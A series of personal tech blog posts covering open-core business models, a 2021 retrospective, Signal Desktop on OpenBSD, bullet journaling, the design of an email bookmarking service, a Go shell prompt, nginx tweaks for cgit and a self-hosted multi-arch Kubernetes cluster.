For those unaware, sourcehut is an entirely free software company/startup that’s building a software development platform; a suite of tools and services like git/hg hosting, CI, mailing lists, issue tracking etc. All of these can be self-hosted, with plenty of docs to get started doing so. Or, you can of course, pay for the hosted service at sr.ht, their flagship instance.

Granted, this one’s probably quite hard to pull off, especially if you’re VC backed or have investors of any kind. When your product is free software, you can’t really bake in analytics and other creepy user-tracking shit that’s common these days; what pages perform better, what buttons do users click more often, the likes. And naturally, you don’t really have metrics to show your investors that your latest feature du jour is doing great (or not).

Thankfully for us, sourcehut is completely bootstrapped. They’ve written about their business model, and it’s beautifully simple: they make money from users subscribing to their service—the hosted version of the sourcehut software—and from other free software consultation gigs. That’s it. And they’re quite profitable. Very cool sourcehut.

the less absolutist open core model

The open core model, according to Wikipedia’s definition:

primarily involves offering a “core” or feature-limited version of a software product as free and open-source software, while offering “commercial” versions or add-ons as proprietary software.

Typically in SaaS offerings, the “commercial” version is a hosted version of the open source software, plus the usual suspects like analytics, project management, user management, and a seat count for different subscription tiers. Some startups may simply continue to operate this way, with feature parity between the open source and cloud versions (minus the meta “features”); however, this may not always be the case.

Oftentimes, in accordance with the definition above, the open source version may be feature-limited, with some parts of the core feature set only available on the cloud version. In most cases, this probably doesn’t matter to the average self-hoster, since the paywalled features will most likely be irrelevant to them—usually catering to larger deployments (support for say, CockroachDB), or enterprise-level deployments (Active Directory support, SSO), etc.

The business model is quite straightforward—get initial traction via the self-hosted open source software, while building out your cloud offering. The community built around the self-hosted software are your initial pool of potential paying customers. Generally, these are either early-stage startups (seed to series A) who don’t have a large enough team to manage additional infrastructure, or large enterprises who are happy to pay for well, the enterprise features. These enterprise deals may even transition into large on-prem contracts.

One thing to note about most open core projects is they’ll most likely enforce a CLA or a Contributor License Agreement. This usually says something to the effect of “while you own the copyright to your code, you grant us the rights to make money off it, or even relicense it should we wish to do so”. It’s probably not a good idea to sign one.

why cloud FOSS works

Cloud FOSS as a basis for building a company probably works because of a bunch of reasons. As a startup, getting an initial foothold in the market can be hard, and offering a fully open source version of your platform can simplify that a whole lot. Setup a GitHub organization, do a Show HN and Bob’s your uncle. Obviously, it isn’t that easy, but you get the idea.

Having an initial userbase from open source can be very useful. You essentially get free insight into what features work and what don’t, and what features your users want. You also get bug reports, issues from various deployment scenarios, environments, operating systems, etc. A goldmine of information to help drive product development decisions.

Further, having a community built around your product helps too. High quality contributors (sometimes), an audience for PR events, the ability to conduct user surveys and most importantly, a hiring pool.

With that concludes my ideas on why Cloud FOSS is a good way to build a startup. Again, I must reiterate that I literally have no idea what I’m talking about and whatever I posit is merely a result of “Oh I’ve seen it work this way before”. I’m happy to hear what you think.

This post was inspired by a conversation with Prithu.

2021 in review

2022-01-10T00:00:00Z

The post-year ramble is here, slightly late this time

The last year was quite eventful to say the least, and I’d been putting off on writing this retrospective simply because of the sheer number of things that happened/I did, of varying levels of importance—both to you as a reader, and me as… well, the one who experienced them.

I’ll try to highlight the major ones here—they’re also the ones I’m okay to discuss publicly, so there’s that. As for the rest: they’ll serve as conversation fuel for 2022.

I graduated… barely

After 4 long years, mostly “learning” about things that haven’t been used since like, my mom was born (I’m looking at you Intel 8086), I am now a Bachelor of Technology in Computer Science and Engineering. I say barely because I actually did pretty terribly. I’m still mildly surprised that given my GPA, the degree certificate classifies it as a “First Class”. I think they just felt sorry for us lot.

Was it a waste of time? A lot of the coursework, sadly, was. But my time in college—however little—was actually quite fun. One thing’s for sure: I can’t rewind time to see what would’ve happened had I not done the degree; but now I’ve done it, and here we are. Wherever that is. Maybe it helped, maybe it didn’t. Oh well.

my time at DeepSource

This time last year (January 2021), I joined DeepSource as a Security Engineer (SRE on paper). Suffice to say, I had an excellent time there, working with some equally excellent people. I got to touch a whole bunch of systems: ranging from observability pipelines, mesh networks in Kubernetes, cloud-native security, and some more Kubernetes.

Oh, and here are a few pictures from our trip to the Maldives.¹

In December 2021, I decided to leave DeepSource in favor of other opportunities. I must say, I will deeply miss my equity when DeepSource eventually becomes a unicorn—and I’m confident they will! As for the other opportunities, I will write about that in a future post. This is a retrospective after all.²

projects and hacks

Probably my biggest and most fun project this year was forlater.email. Both the site, and its technical breakdown frontpaged on Hacker News and was pretty well received. In hindsight, I should’ve included some kind of payment model, but at the same time, being flexible enough to accomodate those that can’t afford to pay. And the code is shit. I’ll probably rewrite it. Eventually.³

My attempt at running Kubernetes at home, while being super fun, failed miserably. I learnt a ton from it however, and I have no regrets. Setting up a Wireguard mesh manually, bootstrapping a cluster using kubeadm, multi-arch considerations, etc. I do sorely miss the declarative-ness of it all, I must say.

Besides these, I don’t think I spent any serious amount of time on anything else. Other than, of course, work projects.

this site

As is tradition, let’s talk about this site and the blog. There have been some minor visual changes but I think it’s largely stayed the same. I’ve found the aesthetic I like—at least for now.

I’ve re-added the reading page to publicly track books that I’ve read. More on that in a bit.

As for blog posts this year, let’s see:

$ grep 'date: 2021' pages/blog/*.md | wc -l
      13

Only 13! That’s about 1 a month, and the lowest count per year so far. I’ll attribute this to me dedicating more time to work, i.e. I’ve become a wagie cagie. Make of that what you will. That said, I think the quality of posts has considerably increased. I think.

other stuff

I couldn’t think of an appropriate heading for this section so “other stuff” it is: a catch-all category for general life-ey things.

I read a grand-total of 9 books last year—not particularly good. I’d like to at least double that this year. Some of my favourite reads were: Dune, The Hero of Ages, The Enemy and Permanent Record. Big thanks to Vishesh for Dune and Vishnu for Permanent Record!

Language learning took an unfortunate hit, with basically zero progress in Russian. I did study it for a month or two in early 2021, but I won’t count it for I’ve likely forgotten it all. I hope to restart where I left off, this year—hopefully with the help of my new productivity hacks (which has been working wonders, by the way!).

I had roughly about 6 - 7 months of time to hit the gym, i.e. when the gym wasn’t closed off, and I managed to get some swole on. As of this writing, it’s the “third wave” of COVID-19 and the gym’s closed. Again.

In other somewhat big news: I switched to an iPhone 13 mini. This probably warrants its own big post—one full of copes and hopes. I will have to mull over it a bit to fully articulate my thoughts. I have a few other post ideas as well—many that I planned on writing last year but never got around to. I often consider writing commentary on $TECH_OUTRAGE_DU_JOUR but everything that I want to say has usually already been said. I’m sure there’ll be plenty of stuff I can be the first to comment on in 2022.

And speaking of 2022…

2022 might be big

This might be a big year for me, with some potentially huge life updates. New job, new adventures, the works. I’m looking forward to it. 2021 was super eventful; 2022 just might top it.

Here’s a list of things I’m looking forward to this year:

Formula 1: New regulations! Williams back on top? Who knows?!
New albums: Oceans Ate Alaska, I See Stars (one can hope!), Invent Animate.
Travel.
Reading The Wheel of Time series.

I’m going to close off this rambly post with a big thanks to everyone who’s supporting forlater.email—it made my whole last year. Maybe this year too. And you just might see another micro-SaaS from me!

I’ll see you soon.

If you’re in Bangalore and are looking for work, definitely consider applying to DeepSource!
↩︎
There are hints… in various places… ↩︎
Sure, lol. ↩︎

Signal Desktop on OpenBSD via vmm(4)

2021-12-26T00:00:00Z

X11 forwarding to the rescue

Early this year, I completely switched over to Signal and I’m fortunate enough to have everyone that I talk to switch over as well. I know I wrote what some might view as a hit piece on Signal, but I have immense respect for the project and will continue to use it until an actually viable alternative comes along.

Unfortunately, their desktop application isn’t natively available for OpenBSD. A solution that’s worked decently enough for me is to run it via X11 forwarding on a Ubuntu VM running on vmm(4)—OpenBSD’s built-in hypervisor.

setting up the VM

I recommend reading the FAQ on Virtualization first, but here’s a quick overview. Note that I’ll be skipping the networking bits so I highly recommend reading the FAQ to get your VM connected to the internet.

Create a disk image for the VM to install onto.

$ vmctl create -s 30G ubuntu.img

I’m using the Ubuntu 18.04 LTS mini.iso. I ran into issues with the 20.04 LTS ISO, but I think you should be able to dist-upgrade from 18.04 without much trouble. Once you have the ISO downloaded somewhere, edit /etc/vm.conf:

vm "ubuntu" {
    memory 2G 
    cdrom "/path/to/mini.iso"
    disk "/path/to/ubuntu.img"
    interfaces 1
    local interface tap
    owner icy   # this is your user
    disable
}

Start and (optionally) enable vmd(8).

$ doas rcctl -f start vmd
$ doas rcctl enable vmd

We can now boot into the VM, and interface via the serial console. This can be done using vmctl(8).

$ vmctl start -c ubuntu  # note -c for console

Hit Tab on the bootloader screen to edit the kernel parameters. We want to force it to use the serial console for installation. This is done by adding console=ttyS0,115200 on the line shown. If there’s a quiet, delete that and add the above. You can then continue on with the installation—install OpenSSH, add your keys etc.

Once installed, remove the cdrom line from your vm.conf and start the VM without the serial console.

$ vmctl start ubuntu

installing and running Signal Desktop

SSH into the VM with X11 forwarding enabled:

$ ssh -Y myvmhost

Install signal-desktop, following the instructions at https://signal.org/download. You can now run the signal-desktop command from the VM’s shell. As long as it spawns a GUI, the multitude of warnings and errors it produces can ge ignored.

Below is a helper script to launch Signal from your host machine:

#!/bin/sh
# signal: launch signal-desktop via a vm (vmm(4))

status="$(vmctl status ubuntu | grep running)"
[[ "$status" == "" ]] && {
    vmctl start ubuntu
    sleep 10
}

ssh -Y pantwo signal-desktop &> /dev/null

caveats

Files to be shared will have to be transferred to the VM’s filesystem for upload. Images/text can be pasted into the text-box from the clipboard, however.
UI elements are slightly laggy but text input is fast enough.
No notifications, but I think that’s a feature.

The quest to optimize productivity

2021-11-04T00:00:00Z

This blog is devolving into a techbro cliché

Us folks in tech have this general obsession with productivity. It’s all about getting the workflow just right. Or at least, that’s the goal. Heck, there are entire companies built around optimizing productivity in specific workflows—email, notes, tasks, etc. Suffice to say, there’s a lot of activity in this space.

I’ve heard reports of varying degrees of success with these tools, from “OMG it like, totally changed how I take notes!”, to “I’m not sure it’s worth paying $30 per month for a mail client” (yeah, you know the one)¹. However, I will never use these tools. Primarily because I don’t trust them—I don’t trust them with my data; more importantly, I don’t trust them to exist long enough before they decide to thank me for their incredible journey and “sunset” their product.

That said, I wasn’t entirely opposed to digital solutions. I tried a method called the OBTF, or the One Big Text File. It’s what it says on the tin: a single text file to manage everything—tasks, email, meetings, notes, habit tracking, etc. Its effectiveness relies on your text editor’s ability to search for things. I even came up with my own “syntax” to help accelerate finding relevant bits. It looked like so:

wed, 03 nov

some task here  // DONE
another task here
a note here
meet foo @ 12:30  // CANCELLED

I don’t exactly recall why I stopped doing it, but I did. Maybe because I tried to do way too many things all at once. It also meant I needed to be at my computer to update tasks—some of which were offline/IRL. Yeah, you can see where this is going. You probably guessed it from the post slug. That’s right—bullet journaling. Well, sort of—let me explain.

The bullet journal method is a somewhat involved process. I recommend watching the video since I’m going to skip explaining how bullet journaling works. The method I use draws inspiration from bullet journaling—but just mostly the task symbols and daily/weekly logs. These are the symbols I use:

• is a new task
× is a completed task
> is a task that’s been carried forward
~strikethrough~ is a cancelled task
- represents a note

And somewhat less commonly, ⊙ (a circled dot) to scribble a small note pertaining to that task, i.e. reason for cancellation, delegation, etc. Tasks are sometimes broken down into further subtasks represented as a checkbox □. Ticking off a checkbox feels great.

Tasks are grouped under a weekly list, running from Monday to Sunday. I had previously done daily lists, but that… didn’t really work out. Here’s what happened:

mon, 01 nov
> long task here
× something else

tue, 02 nov
> long task here

wed, 03 nov
> long task here

...

See the problem? Most often, my tasks tend to span an entire week. While I could theoretically break it down into subtasks, stuff like “Write an RFC for Foo Service” are just that. It’s a big task, and I can’t really break it down. Hence, the running weekly log.

I can’t go without posting what it actually looks like in my notebook; so here, have a FOIA-declassified-looking picture of my bullet journal.

This was when I first attempted the weekly log. Evidently, I struggled to compute dates accurately. And yes, “rice acme” was a task—one that I promptly completed, I’ll have you know.

I use a pencil to write. There’s no real reason for it, but I started the book with a pencil and I plan to continue with it until I finsh this notebook—there’s still about half of it left. I plan to cop a dotgrid notebook for my next one, and start using a pen.

At first I was sceptical. I didn’t think I’d stick to it. But hey, looks like I did. I’ve been using my bullet journal spinoff method to great success for the past 6-odd months. Have I become more productive? I don’t know, but I can confidently state that my head has become “lighter”. I no longer have to remember tasks; I can simply offload them to my journal.

I think the key to making it work was the realization that it’s not “perfect”. I put perfect in quotes because I had this notion of an all-in-one, flawless productivity tool that’ll take care of everything, from anywhere. I then embraced the fact that some tasks don’t really need noting down and it’s ok to not follow the rules. I guess what I’m trying to say is—don’t force it; use the journal loosely.

No self-help-productivity-bullshit-post is complete without a list of tips, so here it is:

Make it your own. Don’t attempt to shoehorn someone else’s solution.
Don’t try to manage everything—that hardly ever works.
Don’t over optimize. Task states don’t need 20 different symbols. Keep it simple.
It doesn’t have to be an art project². I know mine isn’t. Keep it functional.

Okay, this self-help-productivity-bullshit-post is now complete.

In case you didn’t, I’m talking about Superhuman. ↩︎
I’m looking at you, r/bulletjournal.
↩︎

How I built forlater.email

2021-09-25T00:00:00Z

A technical breakdown of my first big side-project

Ever since I began browsing sites like Hacker News and Lobsters, coming across new and exciting links to check out every day, I found it hard to keep up. On most days, I just didn’t. And that’s fine—good, even. But oftentimes, I’d come across a genuinely interesting link but no time to actually read it.

I began using Pocket. It was alright—the article view was very good; but it stopped there. I didn’t like nor use the other junk baked into the app: discover, following/friends thing, etc. It’s also proprietary, and that irked me—more so than the other “features”.

Thus, somewhat inspired by rss2email, I began building forlater.email—a bookmarking/read-later service that works via email. Email is the perfect tool for this use-case: works offline; you can organize it however you like; you own your data.

Pictured above is how forlater works. Each component is explained below.

OpenSMTPD

Mail containing links to be saved arrive here. OpenSMTPD is beautiful software, and its configuration is stupid simple (smtpd.conf(5)):

table blocklist file:/etc/smtpd/blocklist

action webhook mda "/home/icy/forlater/mdawh/mdawh"
match mail-from <blocklist> for any reject
match from any for rcpt-to "save@forlater.email" action webhook

The filter and listen directives have been snipped for brevity. The rest, in essence, simply sends all mail to save@forlater.email to an MDA program, via stdin. Any mail from an address in the blocklist file get rejected.

rspamd is used to prevent spam.

mdawh

mdawh, or the MDA webhook tool. A small Go program that processes mail coming from stdin and generates a JSON payload that looks like so:

{
  "from": "foo@bar.com",
  "date": "Fri, 1 Jan 2010 00:00:00 UTC",
  "replyto": "...",
  "body": "...",
  "parts": {
    "text/plain": "...",
    "text/html": "...",
  }
}

This is POSTed to a configured HTTP endpoint—which in this case, is navani.

navani

navani is forlater’s primary mail processing service¹. Listens for webhooks from mdawh, processes them, and sends mail using a configured SMTP server. URLs are cached in Redis along with the HTML content.

For the readable HTML, go-readability is used; the output of which is rendered into a minimal HTML email template -- something that I never want to write again.

The plaintext part is currently generated using lynx -image_links -dump -stdin. The -image_links flag is handy because it generates footnote links for images as well, instead of simply ignoring images altogether. I plan to rewrite this; possibly using a blend of HTML-to-plaintext libraries and handwritten rules.

future improvements

I plan to implement some kind of settings@ address to configure and store user settings (dark theme? fonts?). However, this introduces state in an otherwise mostly stateless system.

The other thing I’ve been thinking of is making your own newsletter of sorts. For example: save a bunch of links during the week, and have them all delivered over the weekend.

Neither of these “features” are confirmed to happen, primarily because forlater is feature-complete for my use. That said, I’m happy to consider any improvements or suggestions that you might have—please email me.

Finally, thanks to everyone who tossed a few bucks my way—mighty kind of you.

Named after Navani Kholin. ↩︎

Launching forlater.email

2021-09-17T00:00:00Z

An email-based bookmarking service

This is a shill post. I’m launching my new side-project: https://forlater.email. It’s an email-based bookmarking service—you send an email to save@forlater.email, get a readable, clutter-free version of it back.

I’ll write a more technical post on how I built it; this weekend perhaps. Until then, go try it!

I can't take Formula E seriously

2021-08-16T00:00:00Z

Toy cars racing in parking lots

For those unaware, Formula E, or rather, the ABB FIA Formula E World Championship¹ is the only fully electric open-wheel racing sanctioned by the FIA. The first season was in 2014 - 2015. 7 years later, it’s just as bad as before.

Formula E was supposed to be this new, revolutionary motorsport set to eventually replace Formula 1—or at the very least, compete alongside. It was supposed to be where teams could experiment; build better, more eco-friendly tech that can eventually find its way into road cars. Except…the FIA made it a spec series.

This means all cars are basically identical—conforming to a predefined spec. While there’s nothing wrong with spec series racing—Formula 2, IndyCar, etc. are still incredibly exciting—it’s just not something you want in something like Formula E, where technical development is key. Further, the whole emphasis on “road relevancy” is kind of a meme when there’s no engineering freedom given to constructors.

No bother, at least the racing should be fun, right? They travel to cool cities and race on streets! Yeah…not really. Thing is, FE cars are slow. And to compensate this, they made tracks really narrow, with stupidly high barriers. There’s no point in going to cool cities when you can’t really see much of it. All tracks look the same: utterly soulless.

And it doesn’t end there. Formula E is gimmicky as hell. Like F1’s DRS², FE’s got “Attack mode”. Essentially, drivers recieve extra power by driving through a part of the track that’s off the racing line. This is like, some NFS tier shit. But OK, I’ll give it a pass—it’s cringe, but it does allow for some good overtaking.

“Fanboost”, however…Hoo boy. Basically, fans get to vote for their favourite drivers via social media, and the five drivers that win the vote each recieve extra power during the race. Yup. You read that right. They made a World Championship racing series a social media popularity contest.

My last gripe is with the broadcast. It’s so bad! They really should lose the gamer graphics. The driver list on the left is not color coded making it really hard to read. You have no idea who’s who if you’re new. And try and make the circuits look a little more interesting! I honestly couldn’t tell you the difference between, say, the London and Berlin circuits.

All things said, I will still watch Formula E—at least, the highlights. Watching bumper cars is somewhat fun when there’s no F1 going on.

Which just ended, as of August 2021. It was also the first World Championship; the ones before weren’t.
↩︎
https://en.wikipedia.org/wiki/Drag_reduction_system ↩︎

Writing a shell prompt in Go

2021-08-12T00:00:00Z

Kinda faster than bash

For context, my bash prompt was previously written in, well, bash. It used to call out to git for getting the branch and worktree status info. Parsing the output of git status and all that. It was ok, but I wanted something … cleaner.

I chose Go, despite having written nicy in Nim¹; I’m in a Go-phase right now, just like I was in a Nim-phase back in 2018. Anyway, let’s cut to the chase.

the basics

The current working directory is the bare minimum in a prompt. I prefer having it shortened; for example: /home/icy/docs/books/foo.epub → ~/d/b/foo.epub. Let’s write a function trimPath to do this for us:

// Truncates the current working directory:
//   /home/icy/foo/bar -> ~/f/bar
func trimPath(cwd, home string) string {
	var path string
	if strings.HasPrefix(cwd, home) {
		path = "~" + strings.TrimPrefix(cwd, home)
	} else {
		// If path doesn't contain $HOME, return the
		// entire path as is.
		path = cwd
		return path
	}
	items := strings.Split(path, "/")
	truncItems := []string{}
	for i, item := range items {
		if i == (len(items) - 1) {
			truncItems = append(truncItems, item)
			break
		}
		truncItems = append(truncItems, item[:1])
	}
	return filepath.Join(truncItems...)
}

trimPath takes two args: the current working directory cwd, and the home directory home. We first check if cwd starts with home, i.e. we’re in a subdirectory of home; if yes, trim home from cwd, and replace it with a tilde ~. We now have ~/docs/books/foo.epub.

Also note that we return the path as-is if we’re not in a subdir of home—i.e. paths under /, like /usr, etc. I like to see these completely, just to be sure.

We then split the path at /², and truncate each item in the resulting list—except for the last—down to the first character. Join it all together and return the resulting string—we have ~/d/b/foo.epub.

Next up: color.

var (
	red   = color("\033[31m%s\033[0m")
	green = color("\033[32m%s\033[0m")
	cyan  = color("\033[36m%s\033[0m")
)

func color(s string) func(...interface{}) string {
	return func(args ...interface{}) string {
		return fmt.Sprintf(s, fmt.Sprint(args...))
	}
}

… I’ll just let you figure this one out.

git branch and clean/dirty info

The defacto lib for git in Go is often go-git. I don’t disagree that it is a good library: clean APIs, good docs. It just has one huge issue, and especially so in our case. It’s worktree.Status() function—used to fetch the worktree status—is awfully slow. It’s not noticeable in small repositories, but even relatively large ones (~30MB) tend to take about 20 seconds. That’s super not ideal for a prompt.³

The alternative? libgit2/git2go, of course! It’s the Go bindings for libgit2—obviously, it requires CGo, but who cares.

First things first, let’s write getGitDir to find .git (indicating that it’s a git repo), and return the repository path. We’ll need this to use git2go’s OpenRepository().

// Recursively traverse up until we find .git
// and return the git repo path.
func getGitDir() string {
	cwd, _ := os.Getwd()
	for {
		dirs, _ := os.ReadDir(cwd)
		for _, d := range dirs {
			if ".git" == d.Name() {
				return cwd
			} else if cwd == "/" {
				return ""
			}
		}
		cwd = filepath.Dir(cwd)
	}
}

This traverses up parent directories until it finds .git, else, returns an empty string if we’ve reached /. For example: if you’re in ~/code/foo/bar, and the git repo root is at ~/code/foo/.git, this function will find it.

Alright, let’s quickly write two more functions to return the git branch name, and the repository status—i.e., dirty or clean.

// Returns the current git branch or current ref sha.
func gitBranch(repo *git.Repository) string {
	ref, _ := repo.Head()
	if ref.IsBranch() {
		name, _ := ref.Branch().Name()
		return name
	} else {
		return ref.Target().String()[:7]
	}
}

This takes a *git.Repository, where git is git2go. We first get the git.Reference and check whether it’s a branch. If yes, return the name of the branch, else—like in the case of a detached HEAD state—we just return a short hash.

// Returns • if clean, else ×.
func gitStatus(repo *git.Repository) string {
	sl, _ := repo.StatusList(&git.StatusOptions{
		Show:  git.StatusShowIndexAndWorkdir,
		Flags: git.StatusOptIncludeUntracked,
	})
	n, _ := sl.EntryCount()
	if n != 0 {
		return red("×")
	} else {
		return green("•")
	}
}

We use the StatusList function to produce a StatusList object. We then check the EntryCount, i.e., the number of modified/untracked/etc. files contained in StatusList.⁴ If this number is 0, our repo is clean; dirty otherwise. Colored symbols are returned accordingly.

putting it all together

Home stretch. Let’s write makePrompt to make our prompt.

const (
	promptSym = "▲"
)

func makePrompt() string {
	cwd, _ := os.Getwd()
	home := os.Getenv("HOME")
	gitDir := getGitDir()
	if len(gitDir) > 0 {
		repo, _ := git.OpenRepository(getGitDir())
		return fmt.Sprintf(
			"\n%s (%s %s)\n%s",
			cyan(trimPath(cwd, home)),
			gitBranch(repo),
			gitStatus(repo),
			promptSym,
		)
	}
	return fmt.Sprintf(
		"\n%s\n%s",
		cyan(trimPath(cwd, home)),
		promptSym,
	)
}

func main() {
	fmt.Println(makePrompt())
}

There isn’t much going on here. Get the necessary pieces like the current working directory, home and the git repo path. We return the formatted prompt string according to whether we’re in git or not.

Setting the prompt is simple. Point PS1 to the built binary:

PS1='$(~/dotfiles/prompt/prompt) '

And here’s what it looks like, rendered:

benchmarking

Both “benchmarks” were run inside a sufficiently large git repository, deep inside many subdirs.

To time the old bash prompt, I just copied all the bash functions, pasted it in my shell and ran:

~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲ time echo -e "\n$(prompt_pwd)$(git_branch)\n▲$(rootornot)"

# output
~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲

real    0m0.125s
user    0m0.046s
sys     0m0.079s

0.125s. Not too bad. Let’s see how long our Go prompt takes.

~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲ time ~/dotfiles/prompt/prompt

# output
~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲

real    0m0.074s
user    0m0.031s
sys     0m0.041s

0.074s! That’s pretty fast. I ran these tests a few more times, and the bash version was consistently slower—averaging ~0.120s; the Go version averaging ~0.70s. That’s a win.

You can find the entire source here.

It’s a prompt “framework” thing that I actually only used for a month or so.
↩︎
I don’t care about Windows. ↩︎
https://git.icyphox.sh/dotfiles/commit/?id=e1f6aaaf6ffd35224b5d3f057c28fb2560e1c3b0 ↩︎
This took me a lot of going back and forth, and reading https://libgit2.org/libgit2/ex/HEAD/status.html to figure out.
↩︎

Make cgit go gettable

2021-07-14T00:00:00Z

go get git.icyphox.sh/* works!

go get requires the presence of the go-import meta tag¹ on the repository’s web page. cgit doesn’t support it out of the box; instead, we can make nginx inject it into every page. Enter: sub_filter.²

sub_filter is a function that simply performs a string replace. For example:

location / {
  sub_filter '<img src=dog.png>' '<img src=cat.png>';
  sub_filter_once on;
}

In our case, we want to have the meta tag injected inside <head>.

server {
  listen 443 ssl;
  server_name git.icyphox.sh;

  location / {
    ...

    sub_filter '</head>'
      '<meta name="go-import" content="$host$uri git https://$host$uri"></head>';
    sub_filter_once on;
  }
}

The closing </head> tag gets replaced—injecting the meta tag inside <head>. This can also be extended to add the go-source meta tag as well.

Setting up a multi-arch Kubernetes cluster at home

2021-06-19T00:00:00Z

My self-hosted infra, given the cloud native™ treatment

Update 2021–07–11: It was fun while it lasted. I took down the cluster today and probably won’t go back to using it. It was way too much maintenance, and Kubernetes really struggles with just 1GB of RAM on a node. Constant outages, volumes getting corrupted (had to fsck), etc. Not worth the headache.

I still remember my Lobste.rs comment, mocking some guy for running Kubernetes for his static blog—it is my highest voted comment after all. But to be fair, I’m not running mine for a static blog. In fact, I’m not even hosting my blog on the cluster; but I digress. Why did I do this anyway? Simply put: I was bored. I had a 4 day weekend at work and with nothing better to do to other than play Valorant, and risk losing my hard earned Bronze 2—I decided to setup a K8s cluster. These are the nodes in use:

fern: Raspberry Pi 4B (armhf, 4GB, 4 cores)
jade: Oracle VM (amd64, 1GB, 1 core)
leaf: Oracle VM (amd64, 1GB, 1 core)

The Oracle machines are the free tier ones. It’s great—two static public IPs, 50 gigs of boot volume storage on each + up to 100 gigs of block volume storage. All for free.¹ Great for messing around.

Since my RPi is behind a CG-NAT, I’m running a Wireguard mesh that looks something like this:

Wireguard is fairly trivial to set up, and there are tons of guides online, so I’ll skip that bit.

setting up the cluster

I went with plain containerd as the CRI. Built v1.5.7 from source on all nodes.

I considered running K3s, because it’s supposedly “lightweight”. Except it’s not really vanilla Kubernetes—it’s more of a distribution. It ships with a bunch of things that I don’t really want to use, like Traefik as the default ingress controller, etc. I know components can be disabled, but I couldn’t be arsed. So, kubeadm it is.

kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.4.2

Since I’m going to be using Flannel as the CNI provider, I set the pod network CIDR to Flannel’s default. We also want the Kube API server to listen on the Wireguard interface IP, so specify that as well.

Now, the kubelet needs to be configured to use the Wireguard IP, along with the correct resolv.conf on Ubuntu hosts (managed by systemd-resolvd)². This can be set via the KUBELET_EXTRA_ARGS environment variable, in /etc/default/kubelet, for each node:

# /etc/default/kubelet

KUBELET_EXTRA_ARGS=--node-ip=192.168.4.X --resolv-conf=/run/systemd/resolve/resolv.conf

Nodes can now be kubeadm joined to the control plane. Next, we setup the CNI. I went with Flannel because it has multi-arch images, and is pretty popular. However, we can’t just apply Flannel’s manifest—it must be configured to use the wg0 interface. Edit kube-flannel.yaml:

...
      containers:
      - args:
        - --ip-masq
        - --kube-subnet-mgr
+       - --iface=wg0
...

If everything went well, your nodes should now show as Ready. If not, well … have fun figuring out why. Hint: it’s almost always networking.

Make sure to un-taint your control plane so pods can be scheduled on it:

kubectl taint nodes --all node-role.kubernetes.io/master-

Finally, set the --leader-elect flag to false in your control plane’s /etc/kubernetes/manifests/kube-{controller-manager,scheduler}.yaml. Since these are not replicated, leader election is not required. Else, they attempt a leader election, and for whatever reason—fail. Horribly.³

getting the infrastructure in place

The cluster is up, but we need to set up the core components—ingress controller, storage, load balancer, provisioning certificates, container registry, etc.

MetalLB

The LoadBalancer service type in Kubernetes will not work in a bare metal environment—it actually calls out to the respective cloud provider’s proprietary APIs to provision a load balancer. MetalLB solves this by well, providing an LB implementation that works on bare metal.

In essence, it makes one of your nodes attract all the traffic, assigning each LoadBalancer service an IP from a configured address pool (not your node IP). In my case:

However, this assumes that our load balancer node has a public IP. Well it does, but we’re still within our Wireguard network. To actually expose the load balancer, I’m running Nginx. This configuration allows for non-terminating SSL passthrough back to our actual ingress (up next), and forwarding any other arbitrary port.

stream {
    upstream ingress443 {
        server 192.168.4.150:443;
    }

    upstream ingress80 {
        server 192.168.4.150:80;
    }

    server {
        listen 443;
        proxy_pass ingress443;
        proxy_next_upstream on;
    }
    server {
        listen 80;
        proxy_pass ingress80;
        proxy_next_upstream on;
    }
}

DNS can now be configured to point to this node’s actual public IP, and Nginx will forward traffic back to our load balancer.

Nginx Ingress Controller

Once MeltalLB is setup, ingress-nginx can be deployed. Nothing of note here; follow their docs. Each ingress you define will be exposed on the same LoadBalancer IP.

Longhorn

Storage on bare metal is always a pain in the wrong place. Longhorn is pretty refreshing, as it literally just works. Point it to your block volumes, setup a StorageClass, and just like that—automagic PV/C provisioning. Adding block volumes can be done via the UI, accessed by portforwarding the service:

kubectl portforward service/longhorn-frontend -n longhorn-system 8080:80

There’s just one catch—at least, in my case. They don’t have armhf images, so all their resources need:

nodeSelector: kubernetes.io/arch=amd64

Consequently, all pods using a PVC can only run on non-armhf nodes. This is a bummer, but I plan to switch the RPi over to a 64-bit OS eventually. This cluster only just got stable-ish—I’m not about to yank the control plane now.

cert-manager

Automatic certificate provisioning. Nothing fancy here. Follow their docs.

application workloads

We did all of that, for these special snowflakes. I’m currently running:

radicale: CalDAV/CarDAV server
registry: Container registry
yarr: RSS reader
fsrv: File host service
znc: IRC bouncer

I’m in the process of moving Pleroma and lms to the cluster. I’m still figuring out cgit.

closing notes

That was a lot! While it’s fun, it certainly feels like a house of cards, especially given that I’m running this on very low resource machines. There’s about 500 MB of RAM free on the Oracle boxes, and about 2.5 GB on the Pi.

All things said, it’s not terribly hard to run a multi-arch cluster, especially if you’re running arm64 + amd64. Most common tools have multi-arch images now. It’s just somewhat annoying in my case—pods using using a PVC can’t run on my Pi.

Note that I glossed over a bunch of issues that I faced: broken cluster DNS, broken pod networking, figuring out how to expose the load balancer, etc. Countless hours (after the 4 days off) had to be spent solving these. If I had a penny for every time I ran kubeadm reset, I’d be Elon Musk.

Whether this cluster is sustainable or not, is to be seen. However, it is quite nice to have your entire infrastructure configured in a single place: https://github.com/icyphox/infra

~/code/infra
▲ k get nodes
NAME   STATUS   ROLES                  AGE     VERSION
fern   Ready    control-plane,master   7d11h   v1.21.1
jade   Ready    <none>                 7d11h   v1.21.1
leaf   Ready    <none>                 7d11h   v1.21.1

No, this is not an advertisement. ↩︎
I hate systemd with such passion. ↩︎
https://toot.icyphox.sh/notice/A8NOeVqMBsgu5DWLZ2 ↩︎

Status update

2021-05-10T00:00:00Z

A review of Q1 2021

I realize I haven’t done one of these in a while, a few … status-update-worthy things have piled up. Bangalore is currently in a lockdown after ranking in the top 3 worst COVID-hit cities, in India. As such, I’m sitting at home, in my home-office thing which now has an extra monitor, writing this. We’ve got a lot to talk about—let’s get to it!

working at DeepSource

Starting January of this year, I’ve been working as a Site Reliability Engineer at DeepSource. As a Kubernetes shop, nearly all of my day to day work involves working with Kubernetes. I didn’t think I’d say this, but I actually quite like using K8s now. The more I understand it, the more I find myself appreciating the need for it. Of course, I wasn’t around for the initial setup of everything—I’m merely enjoying using an already stable cluster environment.

